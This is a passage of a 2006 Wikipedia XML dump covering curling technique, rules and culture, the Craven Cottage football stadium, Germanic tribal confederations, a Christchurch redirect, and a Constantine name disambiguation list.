Once the thrower knows the turn to give the rock, the thrower will place the rock in front of his or her toe in the hack. At this point the thrower will then start his or her delivery. This begins by slightly rising from the hack, and moving the rock back to one's toe. This is the beginning of a pendulum movement that will determine the force given to the rock. Some older curlers will actually raise the rock in this backward movement, as this is what they are accustomed to. The forward thrust of the delivery comes next. The thrower moves his or her slider-foot in front of the other foot while keeping the rock ahead of him. The thrower then lunges out from the hack. The more thrust from this lunge, the more power or &quot;''weight''&quot; the rock will have. When lunging out, the gripper-foot will drag behind the thrower. When lunging out, it is important to push as precisely as possible in the direction of the skip's broom at the other end, so that the &quot;line&quot; of the rock is accurate. The rock should be released before the thrower's momentum wanes at which point the thrower imparts the appropriate curl, keeping in mind the stone should be released before the first hog-line.

The amount of weight given to the rock will also be told to the thrower by the skip at the other end. This usually occurs by the skip tapping the ice with his broom where he or she wants the rock to be delivered. In the case of a take-out or a tap, the skip will tap the rock that he or she wants removed or tapped.

It should also be noted that with a more skilled skip, where he wants the rock to land will not always be the exact place he holds the broom if the skip expects the rock to curl. When the rock is delivered accurately at the broom, it will curl towards where the skip wants it to land.

=== Sweeping ===
When a rock is delivered, it is important that there be two players following the rock so that they are ready to sweep its path if needed. Sweeping is done for two reasons: to make the rock travel farther, and to make the rock travel straighter (curl less). When sweeping, pressure and speed of the brush head are key to slightly melting the pebbled ice in the path of the rock. [http://www.curling.ca/fan_central/features/from_the_ntc/article.asp?id=16]

One of the interesting strategy aspects of curling is knowing when to sweep. When swept, a rock will always travel both farther and straighter. In some situations, one of the two is often not desirable (for example, a rock may have too much weight, but needs sweeping to prevent curling into a guard), and the team must decide which is better: getting by the guard but traveling too far, or hitting the guard.

Much of the yelling that goes on during a curling game is the skip calling the ''line'' of the shot. The skip evaluates the path of the rock and calls to the sweepers to sweep as necessary to hold the rock straight. The sweepers themselves are responsible for judging the weight of the rock and ensuring the length of travel is correct. 

Usually, the two sweepers will be on opposite sides of the rock's path. Grip of the broom is vital -  one hand grips the top (non-brush end) of the handle while the other grips the handle close to the head of the broom so that as much pressure as needed may be applied while sweeping, though the precise amount of pressure may vary from relatively light brushing to maximum-pressure scrubbing. It is important to never to touch the rock while sweeping (touching the rock results in &quot;burning&quot; it, and the opposing skip may opt to have the rock removed from play).

Sweeping can be done anywhere on the ice up to the &quot;tee-line&quot;, as long as it is only for your own team's rock. Once your team's rock crosses the tee-line, only one player may sweep it. Additionally, when an opposing rock crosses the tee-line, one player from your team is allowed to sweep it. This is the only case that a rock may be swept by an opposing team member. In international rules, this player must be the skip, or if the skip is throwing, then the third.

=== Types of shots ===
Essentially, there are two kinds of shots in curling, the draw and the takeout.  There are many variations of these shots, however.  Draws are shots in which the stone is thrown only to reach the house (or in front of the house - when the rock is called a guard), while takeouts are shots designed to remove stones from play.  Choosing which shot to play will determine whether the thrower will use an in-turn or out turn, for a right-handed person, the clockwise and counter-clockwise rotation of the stone, respectively.   Possible draw shots include guard, raise, come around, and freeze.  Takeout shots include peel, hit and roll, chip and hack.  For a more complete listing look at the [[Glossary of curling terms]].

=== Free guard zone ===
Until four rocks have been played (two from each side), rocks in the ''free guard zone'' (those rocks left in the area between the hog and tee lines, excluding the house) may not be removed by an opponent's stone. These are known as ''guard rocks''.  If the guard rocks are removed, they are replaced and the opponent's rock is removed from play.  This rule is known as the '''four-rock rule''' or the '''free-zone rule'''; some people and leagues play with a '''three-rock rule''', where the rule is in place until three rocks are played.

This rule, a relatively recent addition to curling, was added in response to a strategy of &quot;peeling&quot; opponents' guard stones (knocking them out of play at an angle that caused the shooter's stone to also roll out of play, leaving no stones on the ice).  Skilled teams leading a game would employ this strategy to prevent their opponents from &quot;stealing&quot; an end (scoring without having the last rock, or hammer) by placing guard stones and later trying to draw around them and using them for protection. The team with the hammer could peel rock after rock, which would blank the end, keeping the last rock advantage for another end. While a sound strategy, this made for an unexciting game.

=== Last rock (or Hammer) ===
The last rock in an end is called the '''hammer'''. Before the game, teams typically decide who gets the hammer in the first end by coin toss or similar method. (In tournaments, this is typically assigned, giving every team the first-end hammer in half their games.) In all subsequent ends, the hammer belongs to the team that did not score in the preceding end. In the event that neither team scores, the hammer remains with the same team. Naturally, it is easier to score points with the hammer than without; in tournament play, the team with the hammer generally tries to score two or more points. If only one point is possible, the skip will often try to avoid scoring at all in order to retain the hammer until the next end, when two or more points may be possible. This is called a '''blank''' end. Scoring without the hammer is commonly referred to as '''stealing''', or a '''steal''', and is much more difficult.

=== Scoring ===
After both teams have delivered eight rocks, the team with the rock closest to the button is awarded one point for each of its own rocks that is closer than the opponent's closest rock. Rocks that are not in the house (further from the center than the outer edge of the 12-foot ring) do not score even if no opponent's rock is closer. A rock is considered in the house if any portion of its edge is over any portion of the 12-foot ring. Since the bottom of the rock is rounded, a rock just barely in the house will not have any actual contact with the ring, which will pass under the rounded edge of the stone, but it still counts. 

[[image:curlingscore.jpg|thumb|This is a typical curling score-board used at clubs, which is vastly different from the ones used on television.]]

The score is marked on a [[scoreboard]], of which there are two types. One is the baseball type scoreboard, which is usually used for televised games. On this scoreboard the ''ends'' are marked by columns 1 through 10 (or 11 for the possibility of an extra end to break ties) plus an additional column for the total. Below this are two rows — one for each team. The number of points each team gets in an end is marked this way. 

The other form of scoreboard is the one used in most curling clubs (see photo). It is set up in the same way, except the numbered row indicates points, not ends, and it can be found between the rows for the team. The numbers placed are indicative of the end. If the red team scores 3 points in the first end (called a ''three-ender''), then a one (indicating the first end) is placed beside the number three in the red row. If they score two more in the second end, then a two will be placed beside the five in the red row indicating that the red team has five points in total (3+2). This scoreboard works because only one team can get points in an end. However, some confusion can exist if no team gets points in an end. This is called a ''blank end'' and the end number usually goes in the furthest column on the right in the row of the team who has the ''hammer'' (last rock advantage). 

=== Conceding a game ===
When a team feels it is impossible or near impossible to win a game, they will usually [[handshake|shake hands]] with the opposing team to concede defeat. This may occur at any point during the game, but usually happens near the final end. When a game is completed by playing all ends, both teams also shake hands. This is often accompanied by saying &quot;Good game!&quot; Hands are also shaken before the game, accompanied by saying &quot;Good curling!&quot; to the opposing team. In the Winter Olympics, a team may concede after finishing any end during a round-robin game, but can only concede after finishing eight ends during the knockout stages.

=== Dispute resolution ===
Most decisions about rules are left to the skips. However, all scoring disputes are handled by the third, or vice-skip. No players other than the third from each team should be in the house while score is being debated. In tournament play the most frequent circumstance in which a decision has to be made by someone other than the third is the failure of the thirds to agree on which rock is closest to the button. An independent official then measures the distances using a specially designed device that pivots at the center of the button. When no independent officials are available, the thirds measure the distances.

== Curling culture ==
Curling is played in many countries including the [[United States]], [[United Kingdom]] (especially [[Scotland]]), [[Norway]], [[Sweden]], [[Switzerland]], [[Denmark]], [[Finland]] and [[Japan]], all of which compete in the world championships. 

Curling is particularly popular in [[Canada]]. Improvements in ice making and changes in the rules to increase scoring and promote complex strategy have increased the already high popularity of the sport in Canada, and large television audiences watch annual curling telecasts, especially the [[Scott Tournament of Hearts]] (the national championship for women), [[the Brier]] (the national championship for men), and the women's and men's world championships. 

Despite the Canadian province of [[Manitoba]]'s small population, teams from that province have won the Brier more times than teams from any other province. The Tournament of Hearts and the Brier are contested by [[Provinces and territories of Canada|provincial and territorial]] champions, and the world championships by national champions.

Curling is the provincial sport of [[Saskatchewan]], home of one of the most famous curlers, the late [[Sandra Schmirler]], who led her team to the first ever gold medal in women's curling in the [[1998 Winter Olympics]]. When she died two years later from [[cancer]], over 15,000 attended her funeral.

===An amateur sport===
While Canadian bonspiels (tournaments) offer cash prizes, there are no full-time professional curlers. However, some curlers make quite a lot of their income from curling. Some stay-at-home mothers or house-wives can claim curling as their profession. Still, curling survives as a people's sport, returning to the [[Winter Olympics]] in 1998 with men's and women's tournaments after not having been on the official Olympic program since 1924 (that year's curling competition, for men only,  was confirmed as official by the [[International Olympic Committee|IOC]] in 2006). Because accuracy, strategy, skill, and experience are more valuable in curling than traditional sports virtues of speed, stamina, and strength, most competitive curlers are older than their counterparts in other sports. However, there are many young teams who turn heads, and junior curling is quite popular, with national finals being televised nationwide in Canada.

===Good sportsmanship===
More so than in many team sports, good sportsmanship is an integral part of curling. For example, celebrating an error by the opposing team, fully acceptable in some sports, is frowned upon in curling. Even at the highest levels of play, a player is expected to &quot;call their own fouls&quot;, so to speak, such as alerting the opposing skip if they burned a stone. It is also traditional for the winning team to buy the losing team a drink after the game. (This is in interesting contrast to the game of darts, where the loser traditionally buys the winner a drink by way of congratulations.)

== Additional Information ==
The means of preparation one must take to be competitive in the sport of curling go beyond physical fitness and above-average agility. The competitor must not only be able to have an extensive understanding of classical mechanics with an emphasis on friction, but must be able to apply this knowledge to the playing field. This is a commonly overlooked fact, often making curling seem like a somewhat dull sport. As such, curling is an excellent example of the adage &quot;easy to learn, but difficult to master&quot;.

=== By the Numbers ===
The participants and commentators of curling use various measures to relate information about the behavior of ice and the individual rocks thrown.

The ice in the game may be fast or slow. If the ice is fast, a rock will travel further with a given amount of weight on it. The speed of the ice is measured in seconds. This measure is the amount of time that a draw to the button will spend moving before it comes to a rest. If the ice is slow, the rock will have to have more weight in order to reach the button and would reach the button more quickly. Thus, the speed of the ice (in seconds) is lower than if the ice is fast, in which case the rock would have to be thrown more slowly and would take longer to get there.

Addtionally, the weight (speed) of an individual rock can also be measured in seconds. This time is the time the rock takes to cross first one hogline and then the other. If this number is lower, the rock is moving faster, so again low numbers mean more speed. The ice in a match will be somewhat consistent and thus this measure of speed can also be used to measure how far down the ice the rock will travel. Once it is determined that a rock taking (for example) 9 seconds to go from hogline to hogline will stop on the button, the curler can know that if they can match that time with later stones, they can throw stones that will stop near the button.

== Terminology ==
''Main article: [[Curling terminology]]

==Trivia==

* In 2001, curling was named the official sport of [[Saskatchewan]].
* In the early days before rock size was standardized, curlers chose to throw big or small rocks depending on the shot being made.

==See also==
*[[Glossary of curling terms]]
*[[Bonspiel]]
*[[List of curlers]]
*[[Canadian Curling Association]]
*[[World Curling Federation]]
*''[[Men With Brooms]]'' (Canadian comedy film, only known film based on curling)

==Champions and Major Championships==
*[[List of World Curling Women's Champions]] 
*[[List of World Curling Men's Champions]]
*[[Curling at the Winter Olympics]]
*[[World Curling Championship]]
*[[World Junior Curling Championships]]
*[[Continental Cup of Curling]]
*[[European Curling Championships]]
*[[Pacific Curling Championships]]
*[[Scott Tournament of Hearts]]
*[[Tim Hortons Brier]]
*[[Canadian Junior Curling Championships]]
*[[Canadian Mixed Curling Championship]]
*[[Canadian Senior Curling Championships]]
*[[Canada Cup (curling)|Canada Cup]]

==Notable curling clubs==
:''Main article: [[List of curling clubs]]''

*[[Royal Caledonian Curling Club]] — [[Scotland]], the official Mother Club of curling
*[[Bemidji Curling Club]] - [[Bemidji, Minnesota]], Home of the 2006 United States Men's &amp; Women's Olympic Curling Teams
*[[Broomstones Curling Club]] - [[Wayland, Massachusetts]]
*[http://www.calgarycurlingclub.com/ Calgary Curling Club] - [[Calgary]], [[Alberta]]
*[[Calgary Winter Club]] - [[Calgary]], [[Alberta]]
*[[Charlottetown Curling Club]] — [[Charlottetown, Prince Edward Island]]
*[[Chicago Curling Club]] — [[Chicago, Illinois]] 
*[[Club de Curling Victoria]] — [[Sainte-Foy, Quebec]]
*[[Curling Club Utrecht]] — [[Utrecht, Netherlands]]
*[http://www.detroitcurlingclub.com/ Detroit Curling Club] - [[Ferndale, Michigan]]
*[[Grand National Curling Club]] - Organization in the US covering clubs on the east coast
*[[Granite Curling Club (Winnipeg)|Granite Curling Club]] - [[Winnipeg, Manitoba]]
*[[Ice Melters Curling Club]] — [[England]]
*[[Mayflower Curling Club]] — [[Halifax Regional Municipality, Nova Scotia|Halifax, Nova Scotia]]
*[[Milwaukee Curling Club]] — [[Milwaukee, Wisconsin]] 
*[[Ottawa Curling Club]] — [[Ottawa, Ontario]]
*[[Port Moody Curling Club]]- Port Moody, British Columbia
*[[Ottewell Curling Club]] — [[Edmonton, Alberta]]
*[[Rideau Curling Club]] — [[Ottawa, Ontario]]
*[http://www.royalmontrealcurling.ca/ Royal Montreal Curling Club] — [[Montreal, Quebec]]
*[[Royal City Curling Club]] — [[New Westminster, British Columbia]]
*[[St. John's Curling Club]] — [[St. John's, Newfoundland and Labrador]]
*[http://www.stpaulcurlingclub.org/ St. Paul Curling Club] — [[St. Paul, Minnesota]] 
*[[Utica Curling Club]] — [[Utica, New York]]

{{Spoken Wikipedia|Curling.ogg|2005-06-16}}

==External links==
*[http://www.avery.ws/search/curling.html Learn about curling and get equipment, books and movies]
*[http://www.worldcurlingfederation.org/Curlhome/thegame/WCFRulesofPlayandCompetition.pdf World Curling Federation Rules of Play and Competition]
*[http://www.cbc.ca/olympics/sports/curling/stories/index.shtml?/story/olympics/national/2006/02/08/Sports/curling_1924medals060208.html 1924 Olympic Curling Medals Count: CBC News Feb 8, 2006]
*[http://www.curling.ca/ Canadian Curling Association]
** [http://www.curling.ca/learn_to_curl/how_to_curl/flash.asp Flash animation of basic curling shots]
** [http://www.curling.ca/fan_central/features/from_the_ntc/index.asp From the NTC]: Articles on curling from the Canadian Curling Association's National Training Centre
** [http://www.curling.ca/learn_to_curl/about_curling/4-rock_free_guard_zone_strategy.asp Strategy guide on the Four-Rock Free Guard Zone]
*[http://www.worldcurling.org/ World Curling Federation]
*[http://www.curlingzone.com/forums/ The Curling Zone]
*[http://www.tsn.ca/curling/ Curling on TSN]
*[http://www.cbc.ca/sports/curling/ Curling on CBC]
*[http://www.curlingbasics.com/ Curling Basics]


[[Category:Curling| ]]
[[Category:Olympic sports]]
[[Category:Scottish cultural icons]]
[[Category:Sport in Scotland]]
[[Category:Sport in Canada]]

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[[he:קרלינג]]
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    </revision>
  </page>
  <page>
    <title>Craven Cottage</title>
    <id>6645</id>
    <revision>
      <id>42089840</id>
      <timestamp>2006-03-03T19:33:49Z</timestamp>
      <contributor>
        <username>Ed g2s</username>
        <id>19009</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Infobox_Stadium |
  stadium_name      = Craven Cottage|
  nickname          = The Cottage|
  image             = |
  location          = Stevenage Road, [[London]], [[England]], SW6 6HH|
  broke_ground      = [[1896]] |
  opened            = [[1896]] (As a stadium) |
  closed            = Open|
  demolished        = N/A|
  owner             = [[Fulham F.C.|Fulham F.C.]] |
  operator          = Fulham F.C. |
  surface           = [[Grass]] |
  architect         = [[Archibald Leitch]] |
  tenants           = '''Fulham F.C.''' ([[FA Premier League]]) ([[1896]]-present)

'''[[Harlequins Rugby League|Fulham Rugby League]]''' ([[Rugby League Championship]]) ([[1980]]-[[1984]]) |
  seating_capacity  = 22,230 ([[Football (soccer)|Football]]) |
  record            = 49,335, October [[1938]]
}}
'''Craven Cottage''' is the name of a sports [[stadium]] in the [[London]] Borough of [[London Borough of Hammersmith and Fulham|Hammersmith and Fulham]] that has been the home ground of the [[football (soccer)|football]] team [[Fulham F.C.]] since [[1896]]. Its capacity is reported to be 22,230, but 22,480 fans were present for a match against [[Liverpool F.C.|Liverpool]] on [[October 22nd]], [[2005]].

==History==
===Pre-Fulham===
The original 'Cottage' was built in [[1780]], by [[William Craven, 6th Baron Craven|William Craven]], the sixth [[Baron Craven]]. At the time, the surrounding areas were woods which made up part of [[Anne Boleyn]]'s hunting grounds.

It was lived in by [[Edward Bulwer-Lytton, 1st Baron Lytton|Edward Bulwer-Lytton]] and other somewhat notable (and moneyed) persons until it was destroyed by fire in May [[1888]]. Following that, the site was abandoned.

===Under construction: 1894-1905===
When representatives of Fulham first came across the land, in [[1894]], it was so overgrown that it took two years to be made suitable for football to be played on it. A deal had been done that meant this work was done by the owners of the ground, who then would receive a proportion of the gate receipts.

The first event at which there were any gate receipts was when Fulham played against Minerva in the Middlesex Senior Cup, on [[October 10]]th, [[1886]]. The ground's first stand was built shortly after. Described as looking like an &quot;orange box&quot;, it consisted of four wooden structures each holding some 250 seats, and later was affectionately nicknamed the &quot;Rabbit [[Hutch (animal cage)|hutch]]&quot;.

Before the ground could become too well established, the now defunct [[London County Council]] became concerned with the level of safety at the ground, and tried to get it closed. A court case followed in January [[1905]], as a result of which [[Archibald Leitch]], a Scottish [[architect]] who had rose to prominence after his building of [[Ibrox stadium|Ibrox]] a few years prior, was hired to work on the stadium. In a scheme costing 15,000 [[Great British pounds|pounds]], he had a new pavilion (the modern Cottage itself) and a stand built, in his characteristic [[red brick]] style.

The stand on Stevenage Road and Cottage are both celebrating their centenary in the 2005-2006 season and following the tragic death of Fulham FC's favourite son, former England captain [[Johnny Haynes]], in a car accident in October 2005 the Stevenage Road Stand was renamed the [[Johnny Haynes]] Stand after the club sought the opinions of Fulham supporters.

Both the [[Johnny Haynes]] Stand and Cottage remain the finest examples of [[Archibald Leitch]] football architecture to remain in existence and this has been recognised with both being designated as Grade II listed buildings.

===Establishing itself as a stadium===
An [[England national football team|England]] v [[Wales national football team|Wales]] match was played at the ground in [[1911]], followed by a [[rugby league]] international between [[England national rugby league team|England]] and [[Australia national rugby league team|Australia]].

One of the club's directors [[Henry Norris]], and his friend William Hill, took over [[Arsenal F.C.|Arsenal]] in the early [[1910s]], the plan being to merge them with Fulham, to form a &quot;London superclub&quot; at Craven Cottage. This move was largely motivated by Fulham's failure thus far to gain promotion to the top division of English football.

The ground again suffered a scare in [[1933]], when there were plans to demolish it and start again from scratch with a new ground. These plans never materialised.

On [[October 8]]th, [[1938]], Craven Cottage held host to 49,335 fans during a game against [[Millwall F.C.|Millwall]].

===Post [[World War Two|war]]===
It wasn't until Fulham first reached the top division, in [[1962]], that further improvements were made to the stadium. The first was that the next year they became the final side in the division to erect floodlights. The Hammersmith end had a roof put over it, and an electronic scoreboard was put up.

After Fulham were relegated, the development continued. The Riverside terracing, infamous for the fact that fans occupying it would turn their heads annually to watch [[The Boat Race]] pass, was replaced by what was officially named the 'Eric Miller stand', Eric Miller being a director of the club at the time. The stand, which costed 334,000 pounds and held 4,200 seats, was opened with a friendly game against [[SL Benfica|Benfica]] in February [[1972]]. Miller committed suicide five years later after a political and financial scandal that he was involved in boiled over. The stand is now better known as the Riverside Stand.

Between [[1980]] and [[1984]], '''Fulham [[Rugby League]]''' played their home games at the Cottage. They have since evolved into the '''London Crusaders''', the '''London Broncos''', and then into [[Harlequins Rugby League]]. Craven Cottage held the team's largest ever crowd at any ground was 15,013, at a game against [[Wakefield Trinity Wildcats|Wakefield]] on [[February 15]]th, [[1981]].

===Post-[[Hillsborough disaster|Hillsborough]]===
When the Hillsborough tragedy occurred, Fulham were in the second bottom rung of the [[Football league]], but following the [[Taylor report]] Fulham's ambitious chairman [[Jimmy Hill]] tabled plans for an all-seater stadium. These plans never came to fruition, partly due to local residents' pressure groups, and by the time Fulham reached the [[Premiership]], they still had standing areas in the ground, something virtually unheard of at the time. They were given a year to do something about this, but by the time the last league game was played there, against [[Leicester City F.C.|Leicester City]] on [[April 27]] [[2002]], no building plans had been made. Two more [[Intertoto Cup]] games were played there later that year (against [[Egaleo FC]] of Greece and [[FC Haka]] of Finland), and the eventual solution was to decamp to [[Loftus Road]], home of local rivals [[QPR]].

After one and a half seasons there, no work had been done on the Cottage. Suddenly, a plan to partially redevelop the stadium sprung up, and the club were able to return to their home for the start of the [[FA Premier League 2004-05|2004-05 season]]. The ground was opened with a poorly-attended pre-season friendly against [[Watford F.C.|Watford]] (the game was actually officially abandoned at half-time, due to excessive substitutions!).
[[Image:Australia vs New Zealand.jpg|thumb|right|350px|[[Australia national football team|Australia]] (yellow) vs [[New Zealand national soccer team|New Zealand]] (white) friendly match at ''Craven Cottage'' [[9 June]] [[2005]]. The stand along the left is the historic Stevenage Road Stand, at the back is the Putney End, with the Cottage in between the two stands.]]
The current stadium is not the 30,000 state of the art ground Fulham fans would like to see; in fact it is the [[FA Premier League|Premiership's]] second smallest ground (after [[Fratton Park]]), but it at least lets Fulham play at their &quot;spiritual&quot; home. Much admired for its fine architecture, the stadium has recently hosted a few international games, all including [[Australia national football team|Australia]]. This venue is suitable because most of Australia's top players are based in Europe, and West London has a significant Aussie community.

The Fulham [[Fulham L.F.C.|Fulham Ladies]] and Reserve team occasionally play home matches at the Cottage. Other than this, they generally play at the club's training ground at [[Motspur Park]] or at [[Kingstonian]] and [[AFC Wimbledon|AFC Wimbledon's]] stadium, [[The Fans' Stadium, Kingsmeadow|Kingsmeadow]].

===Future plans===
Craven Cottage is where most Fulham fans would like to be, although the club might prefer a more lucrative situation - a larger ground enabling greater ticket revenue (one location mooted is at [[White City]]). Whether the club is looking for a new site for a stadium is unknown, but comments in summer [[2004]] from Fulham's [[CEO]] at the time, Jim Hone, suggest Fulham are back home for good.

==The ground as it stands==
===Hammersmith End===
The [[Hammersmith]] End is the northernmost stand in the ground, and, hence the name, the closest to Hammersmith. It is situated such that looking out from the stand you can see the Putney End and the Cottage opposite, the Riverside Stand (and the river itself) to the right and the Stevenage Road stand to the left. It often contains some of Fulham's more passionate fans.

===Putney End===
The [[Putney]] End is the southernmost stand in the ground, nearest to Putney. To its right is The Cottage, opposite is the Hammersmith End, with the Riverside and Stevenage Road stands to left and right respectively. This generally hosts visiting or 'neutral' supporters.

===Riverside Stand===
The Riverside Stand backs onto the river [[Thames]], and contains the corporate hospitality seating alongside Fulham fans. Tickets in this area are often the easiest to buy, not surprisingly they are also some of the more expensive. It has the Hammersmith End to its left, the Putney End to its right and is opposite the Stevenage Road Stand.

===[[Johnny Haynes]] Stand===
Formerly the ''Stevenage Road Stand'' - named for the street it was on - The [[Johnny Haynes]] Stand is irreputably the oldest and most beautiful of the ground. Holding Fulham supporters, a lot of whom are season ticket holders, this is opposite the Riverside Stand, with the Putney End and the Cottage to its left, and the Hammersmith end to the right. This stand includes the ticket office and club shop, and a nostalgic but uncomfy blast from the past in that the majority of its' seats are wooden, not plastic as is prevalent almost universally amongst stadia.

The stand's new name was announced shortly after the man's death in late [[2005]], [http://www.petitiononline.com/maestro/petition.html after a petition made by a fulham fan], it seems, somewhat influenced the club's decision.

==Details==

===Address===
:Craven Cottage
:Stevenage Road
:[[London]]
:SW6 6HH

===Phone Numbers===
:Telephone: 0870-442-1222
:Fax: 0207-384-4715
:Ticket Office: 0870-442-1234
:Ticket Office Fax: 0207-384-4810

===Records===
Record Attendance: 49,335 v [[Millwall F.C.|Millwall]], [[8 October]], [[1938]] (Division Two)
 
===Average Attendances===
*2002-2003: 16,707 
*2003-2004: 16,342 
*2004-2005: 19,838 

==External links==
*{{gbmaprim|TQ236765|Craven Cottage's location within Greater London}}
*[http://www.streetmap.co.uk/newmap.srf?x=523607&amp;y=176634&amp;z=1&amp;sv=523607,176634&amp;st=4&amp;lu=P&amp;mapp=newmap.srf&amp;searchp=newsearch.srf&amp;ax=523607&amp;ay=176634 Overhead photo of the local area]
*[http://www.uf.pwp.blueyonder.co.uk/DSC00744.JPG View from the back of the Hammersmith End]
*[http://photos1.blogger.com/img/236/5659/1024/IMG_0448.jpg View to the Cottage down Lysia Street]
*[http://www.petitiononline.com/maestro/petition.html Johnny Haynes Stand Petition]

[[Category:Football venues in England]]
[[Category:Fulham F.C.]]
[[Category:Sports venues in London]]
[[Category:Premier League Stadia]]

[[fr:Craven Cottage]]
[[no:Craven Cottage]]</text>
    </revision>
  </page>
  <page>
    <title>Confederations of Germanic tribes</title>
    <id>6646</id>
    <revision>
      <id>38349375</id>
      <timestamp>2006-02-05T19:49:16Z</timestamp>
      <contributor>
        <username>Khoikhoi</username>
        <id>657950</id>
      </contributor>
      <minor />
      <comment>moved [[Confederations of Germanic Tribes]] to [[Confederations of Germanic tribes]]</comment>
      <text xml:space="preserve">{{cleanup-date|October 2005}}

The following are some historical '''Germanic Confederations'''

*[[230 BC]] - [[Bastarnae]], a mixture of Germanic tribes, at the [[Black Sea]]; they participated in the siege of Olbia (modern [[Odessa]]) in [[220 BC]].

*[[109 BC]] - Huge confederation composed of the Germanic of [[Cimbri]] and [[Teutoni]] and the Celtic-Germanic [[Helvetii]] formed near [[Miltenberg]] in Franconia. The confederation attempts an invasion of Italy but is defeated by [[Gaius Marius]] in the battles of [[Aquae Sextiae]] ([[102 BC]]) and [[Battle of Vercellae|Vercellae]] ([[101 BC]])

*[[8 BC|8]]-[[6 BC]] - [[Marcomanni]] from the northern [[Bavarian]] and [[Main]] river area went to the             original homeland of the [[Boii]] in Boemia [[Bohemia]] and under king [[Marbod]] formed a Confederation of Marcomanni, [[Lugier]], [[Semnones]], [[Langobardi|Lombards]], and others. Under king [[Ariovisto]] they fought against take-overs by [[Roman Empire|Roman]] emperor [[Caesar Augustus]].

*[[5|5 AD]] - [[Pliny the Elder|Pliny]] reported that Cimbri and Charydes sent ambassadors to Rome.

*[[6|6 AD]] - Marcomannic Confederation.

*[[98]] - [[Tacitus]] reports on the Germanic tribes that the [[Suiones]] (Swedes) were one nation composed of several tribes (civitates).

*[[167]] &amp;#8211; [[Marcomanni|Marcomannic]] Confederation, that also includes [[Quadi]], [[Sarmatians]], [[Suebi]], [[Iazyges]] and others, crosses the [[Danube]] and invades [[Dacia]]. [[Roman Empire|Roman]] emperor [[Marcus Aurelius]] eventually defeats them in [[175]].

*[[400]] - Thuringian ''regna'' (loosely translated as kingdom or realm). [[Thuringii]] are reputed to have held the territory from the [[Danube]] to the Lower [[Elbe]] river. This &lt;u&gt;regna&lt;/u&gt;  was destroyed by the victory of [[Theuderic I of Austrasia]], who in [[530]]  defeated  the Thuringian king [[Hermanafrid]] in the [[Battle at the Unstrut]] and killed him at [[Zülpich]].

See also: [[Germanic tribes]], [[List of Germanic peoples]]

[[Category:Ancient Roman enemies and allies]]
[[Category:History of the Germanic peoples]]</text>
    </revision>
  </page>
  <page>
    <title>Christchurch, New Zealand</title>
    <id>6648</id>
    <revision>
      <id>15904772</id>
      <timestamp>2004-05-01T14:09:49Z</timestamp>
      <contributor>
        <username>Ben Arnold</username>
        <id>54671</id>
      </contributor>
      <comment>moved to Christchurch</comment>
      <text xml:space="preserve">#REDIRECT [[Christchurch]]</text>
    </revision>
  </page>
  <page>
    <title>Constantine</title>
    <id>6649</id>
    <revision>
      <id>41998863</id>
      <timestamp>2006-03-03T03:15:34Z</timestamp>
      <contributor>
        <username>LD317</username>
        <id>1020847</id>
      </contributor>
      <text xml:space="preserve">{{TOCright}}

'''Constantine''' is a common name derived from the [[Latin]] word ''constans'', meaning constant or steadfast.

==People called Constantine==

===Rulers called Constantine===
*'''[[Constantine I (emperor)]]''', commonly known as Constantine the Great
*[[Constantine II (emperor)]]
*[[Constantine III (usurper)]]
*[[Constantine III (emperor)]]
*[[Constantine IV]]
*[[Constantine V]]
*[[Constantine VI]]
*[[Constantine VII]]
*[[Constantine VIII]]
*[[Constantine IX]]
*[[Constantine X]]
*[[Constantine XI]]
*[[Constantine I of Armenia]]
*[[Constantine II of Armenia]]
*[[Constantine III of Armenia]]
*[[Constantine IV of Armenia]]
*[[Constantine V of Armenia]]
*[[Constantine VI of Armenia]]
*Constantine I (''or'' Kuestantinos I) of Ethiopia, also known as [[Zara Yaqob]]
*Constantine II (''or'' Kuestantinos II) of Ethiopia, also known as [[Eskander]]
*[[Constantine I of Greece]]
*[[Constantine II of Greece]]
*[[Caustantín of the Picts|Constantine of the Picts]]
*[[Constantine I of Scotland]]
*[[Constantine II of Scotland]]
*[[Constantine III of Scotland]]
*[[Constantine Tikh of Bulgaria]]
*[[Grand Duke Constantine Pavlovich of Russia|Constantine Pavlovich of Russia]]
*[[Constantine Phipps, 1st Marquess of Normanby]]
*[[Constantine John Phipps, 2nd Baron Mulgrave]]
*[[Constantine Dragas]]
*[[Constantine I of Imereti]]
*[[Constantine III (usurper)|Constantine III of Rome]]
*[[Constantine Mavrocordato]]
*[[Grand Duke Konstantin Nikolayevich of Russia|Constantine Nicolaievich]]
*[[Constantine Ypsilanti]]

====Religious leaders====
*[[Constantine I of Constantinople]]
*[[Constantine II of Constantinople]]
*[[Constantine III of Constantinople]]
*[[Constantine IV of Constantinople]]
*[[Constantine V of Constantinople]]
*[[Constantine VI of Constantinople]]
*[[Pope Constantine]]
*[[Antipope Constantine II]]
*[[Saint Constantine|St Constantine of Cornwall]]

====Military leaders====
*[[Constantin Prezan|Constantine Prezan]]
*[[Konstantin Petrovich Von Kaufman|Constantine Petrovich]]

====Politicians====
*[[Costis Stephanopoulos|Constantine Stephanopoulos]]
*[[Konstantinos Tsatsos|Constantine Tsatsos]]

===Other===
*[[Angelici|Order of Constantine]], the Byzantine order of knights, the Angelici
*[[Constantine, 1st Earl of Fife]]

====Constantine as a '''[[surname]]'''====
*[[Con Constantine]]
*[[Eddie Constantine]]
*[[John Constantine]]
*[[Joseph Constantine]]
*[[Kevin Constantine]]
*[[Learie Constantine]]
*[[Michael Constantine]]
*[[Storm Constantine]]
*[[Susannah Constantine]]
*[[Tiberius II Constantine]]
*[[Thomas A. Constantine]]

====Constantine as a '''[[given name]]'''====
*'''[[Constantine Maroulis]]''' finalist on the television show ''[[American Idol]]''.
*[[Constantine the African]]
*[[Constantine III of Britain]]
*[[Constantine of Preslav]]
*[[Prince Constantine Alexios of Greece and Denmark|Constantine Alexios]]
*[[Constantine Andreou]]
*[[Constantin Brâncoveanu|Constantine Brâncoveanu]]
*[[Constantine Bruno, Baron Kervyn de Lettenhove|Constantine Bruno]]
*[[Constantin Carathéodory|Constantine Carathéodory]]
*[[Constantine P. Cavafy]]
*[[Constantine Dadeshkeliani]]
*[[Constantine Ducas]]
*[[Constantine Kanaris]]
*[[Constantine Karamanlis]]
*[[Constantine Koukias]], Australian classical composer
*[[Constantine Lascaris]]
*[[Constantine M. Los]]
*[[Constantine Manasses]]
*[[Constantine Mitsotakis]]
*[[Constantine Papadakis]]
*[[Constantine Papaevagelou]]
*[[Constantine Paparregopoulus]]
*[[Constantine Phaulkon]]
*[[Constantine Samuel Rafinesque-Schmaltz]]
*[[Constantine Rhigas]]
*[[Constantine-Silvanus]]
